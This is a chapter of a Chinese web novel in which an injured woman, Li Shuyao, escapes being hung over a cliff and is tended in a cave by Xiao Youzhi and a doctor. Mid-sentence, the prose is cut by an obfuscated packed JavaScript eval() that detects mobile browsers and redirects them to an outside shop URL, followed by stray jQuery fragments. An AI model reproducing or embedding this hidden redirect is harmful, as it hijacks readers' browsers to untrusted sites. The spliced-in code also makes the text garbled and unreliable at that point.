周晏行不耐的咂了一下嘴,“行了,行了,你快忙你的去吧,这里用不着你操心了。”

    然而林川走后,周晏行只是随意往下面瞅了一眼,就哼着曲找了个凉快的地方躺着去了。

    正值晌午本就是一天中困意最浓的时刻,山上凉风清爽,伴随着各种鸟鸣声,没一会儿周晏行就睡着了。

    与此同时李舒窈也被痛醒了,她全身的重量都集中在绑着绳索的手腕上,手腕处被累出深深的痕迹,绳索勒紧她的血肉之中,不断有鲜血从中流出。

    滴答、滴答温热的血液顺流落到她的头发上,在她的脸颊上晕染开来。

    她睁开眼睛,却什么都看不到。想要说话,嘴上也被塞了东西。

    世界安静异常,她居然也听不到任何声音了。

    她唯能感觉到勒着绳子的手腕好疼,胳膊上的伤口也好疼。

    比起疼痛来说,她感受不到光亮,听不到声音,手脚都被绑住动不了让她更为难受。

    最让她感到恐怖的是她有一种失重感,像是要在高处坠落,这种感觉只会在梦中呈现,每次梦到这样的场景她都会突然惊醒,哪怕是醒了也会难受好一会。

    与梦中的感觉一样,她的心脏一直在剧烈的跳动,无情的风吹着她在悬崖上摇摇晃晃,或许下一秒她就要坠落于深渊之中。

    又不同于梦,她无论如何都无法在这场噩梦中挣扎出来。

    她要在近乎丧失三感的情况下,时时刻刻都忍受着这一令人绝望的感觉。

    她想到在她失去意识之前,她正在悬崖上采药,后来是林川向她走进,听见他的声音,李舒窈还以为他是担心自己掉下去才过来的。

    如今看来这一切的罪魁祸首都是林川。

    林川为什么要害她?

    他如果真的要害她,又为什么不直接把她扔下去,而是要把她绑起来折磨?

    不,再这么下去她就要疯了。

    李舒窈剧烈的挣扎,两只脚一前一后的摩擦着、挣扎着,她用了很大的力气才把脚上的鞋子蹬掉,没了鞋子之后她的双脚很容易的就从绳索中睁开出来。

    现在唯一能够束缚到她的就是手上的绳子了。

    她能够感觉到自己是被吊起来的,她虽然不知道她被吊到了那里,但是结合自己的感受和昏迷前的场景,她有很大的概率是被吊到了崖边。

    挣开这个绳子,她或许会掉下去粉身碎骨。不挣开这个绳子,她会疯。

    与其被吊死在这里倒不如拼命一搏。

    手上比脚上绑的紧多了,她挣扎起来也很困难,由于动作过大,伤口也裂开更大了。

    有更多的血从中渗出,这下不只是脸上了,她的衣服也不能幸免。

    她却恍若不知,一心只想挣脱手上的束缚。

    绳子已勒进她的皮肉,每一次挣扎都是钻心刺骨的疼。

    忍着这份疼,她迅速的把右手从绳子中抽离出来,左手自然而然的就出来了。失去绳子的牵制,她的身体开始往下坠落。

    疾风刺穿着她的伤口,失重感包裹着她。

    她感到一阵绝望,又要死一次了吗?

    不过是一瞬间,她听到了一声巨大的闷响,她知道是自己落地的声音。

    虽然摔在地上很痛,但是她知道她没有死。

    她的手脚都恢复了自由,可是她的胳膊好像动不了了,她没有办法扯下眼睛上的那块黑布。

    缓缓吐出嘴上的布块,她大口呼吸着空气,痛苦的呻吟。

    痛!浑身都好痛!

    动不了,只能仍由自己静静的躺着。

    有什么东西从眼眶中流出来,浸湿了那块黑布。

    萧攸之过来看到的便是这样一副场景,一名被蒙着眼睛、散着头发的女子躺在地上发出痛苦的低吟声。

    她的身上好多血,周围的土地上也都是她的血。断断续续的抽泣声充斥于他的耳边。

    这场景他好像在哪里见过,那年北燕、地牢,公主喝下毒酒,喷出鲜血的场景又从他脑中浮现。

    他的心突然好痛,有一个声音一直牵引着他走过去。

    为什么?他看到她会想起公主?

    为什么?他听见她痛苦的哭泣声他会觉得是公主在痛、是公主在哭?

    为什么……他为什么会心疼她?

    明明离她只有几步的距离,他却走的万分沉重,越是靠近她,他的心跳就越发的剧烈。

    他鬼斧神拆的过去掀开了那名女子眼睛上的黑布。

    乍见光亮,她仍然紧闭双目,眉头紧紧的蹙成一团。

    手却无意扯上了他的袖子,“好痛,救我。”

    “李舒窈……”

    又是她、又是她。

    好讨厌这种感觉,他会频繁的把她和公主联系在一起。

    她还不能死,她死了,他就再也见不到他的公主了。

    萧攸之把李舒窈抱起来,她的手仍紧抓着他的袖口不放,好像怕他会抛弃它。

    他虽然是骑马来的,但是李舒窈受了重伤,现在带她下山不是明智之举。

    萧攸之抱着李舒窈进了一个山洞,这个山洞也是他不久前发现的。外面风大,此处可以避避风。

    青墨从外面回来,正欲向萧攸之禀报。

    见他来了,萧攸之率先说道,“你现在骑马下山,去城中找一个大夫过来,要快!”

    青墨这才注意到地上紧闭双眼、浑身是血、生死不明的女子。

    他心中惊惧,连道,“是。”

    这期间,李舒窈也曾短暂的醒过来,她眼神涣散,看什么都不是很清晰,但是她能闻到味道,她闻出了那独属于萧攸之的松木香气味。

    有个白影正在伫立于山洞的一块墙壁前,他沉思了一会,随后手轻轻敲了一下墙面。

    李舒窈看着那个白眼说道,“我知道你喜欢我,可是,我们不属于一个世界,我是不会回应你的。”

    正在研究墙壁的萧攸之,“……”

    他气极反笑,回头问道,“你是从哪里看出本王喜欢你的?”

    李舒窈太累了,闭上眼睛嘴中仍道,“我一直都知道,只有你这个笨蛋才觉得我不懂。但是……我想回家,我不能喜欢你。”

    萧攸之试探道,“回家?李小姐的家在哪里?”

    “在一个你永远都去不了的地方,你只是一个纸片……”

    你只是一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568462|204848||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    纸片人。

    她的体力终究是没能支撑她说完这一句完整的话。

    “回家”这已经是萧攸之第二次听见她说回家了。

    第一次听到这句话还是她误闯他的马车的那一次,那时候他不知道她就是李小姐,他以为她的家在朔川。

    很显然并不是,她来朔川只是为了寻找云厥草。

    她说的“家”也不是在江州,什么叫他永远都去不了的地方?

    他去不了的地方,除非不在这个世界上。

    萧攸之真的觉得自己疯了,他怎么还真琢磨起她的话来了?

    清掉脑子中那些不切实际的想法,萧攸之又继续研究起面前的墙壁来。

    从他刚进这山洞,他就注意到了面前的墙壁和其他的不同,这块墙的颜色更为深一些。而且其他的墙面上都布满了蜘蛛网,这块墙却是干干净净。

    他刚才敲了一下墙壁,声音空洞,这块墙的后面应该是空的。

    何人能在此处凿出一块空墙来?

    萧攸之想他应该知道这块墙的后面是做什么的了。

    这附近肯定有什么机关可以将这块墙打开。

    但是他找了一圈并未发现有什么特别之处,实在找不到他也没有过于去强求。

    那边李舒窈异常安静,安静到萧攸之以为她已经死了。

    过去看了一眼,虽然呼吸微弱,但并不是没有了。

    她的身下垫着他的外袍,胳膊上的伤口还在渗血,将他的外袍上都蹭出了血迹。萧攸之皱了皱眉,撕了点布料,在她的胳膊上缠了一圈。

    此时青墨也带着大夫回来。

    这大夫是城中知名的郎中,尤其擅长治疗外伤内损。

    萧攸之起身为那大夫让出空来,他道,“此人在高处坠落,帮她看看还有救吗?”

    大夫为李舒窈诊了一下脉说道,“这外伤倒是其次,慢慢修养总会好的,但是她内损严重,情况并不乐观。”

    萧攸之直接问道,“她会死吗?”

    “我会尽力救治,但是,她现在不适宜挪动,而山里条件有限,我只能先给她施针排出淤血,剩下的就要看她自己了,若能她熬过今晚,应当就没事了。”

    萧攸之点头,让大夫给李舒窈扎针。

    针扎到一半,李舒窈突然“嗷”的一下,吐出了一大口血。

    非常不幸,萧攸之正站在她的对面,躲闪不及受了点殃及。

    白衣沾血,萧攸之气得想要撕衣服,“李舒窈……”

    见她吐血了,大夫松了一口气,继续施针。

    施玩针,大夫又把萧攸之胡乱包扎的布条解开,一刀恐怖狰狞的伤口让他倒吸一口凉气,在上面撒了一些止血的药粉,拿出干净的扎带重新包扎了一下。

    做完这一切,他退到萧攸之面前说道,“这几日切莫要让她乱动,等下山之后,我会配置一下内服的药,早晚各一次,连续喝三日。”

    萧攸之淡淡的“嗯了一声”,便对青墨说道:

    “青墨送大夫下山吧。”

    那大夫临走前又道,“大人,这位姑娘似乎受到了不小的惊吓,脉象中有惊悸之症,今晚恐会惊梦,还请大人多留意一番。”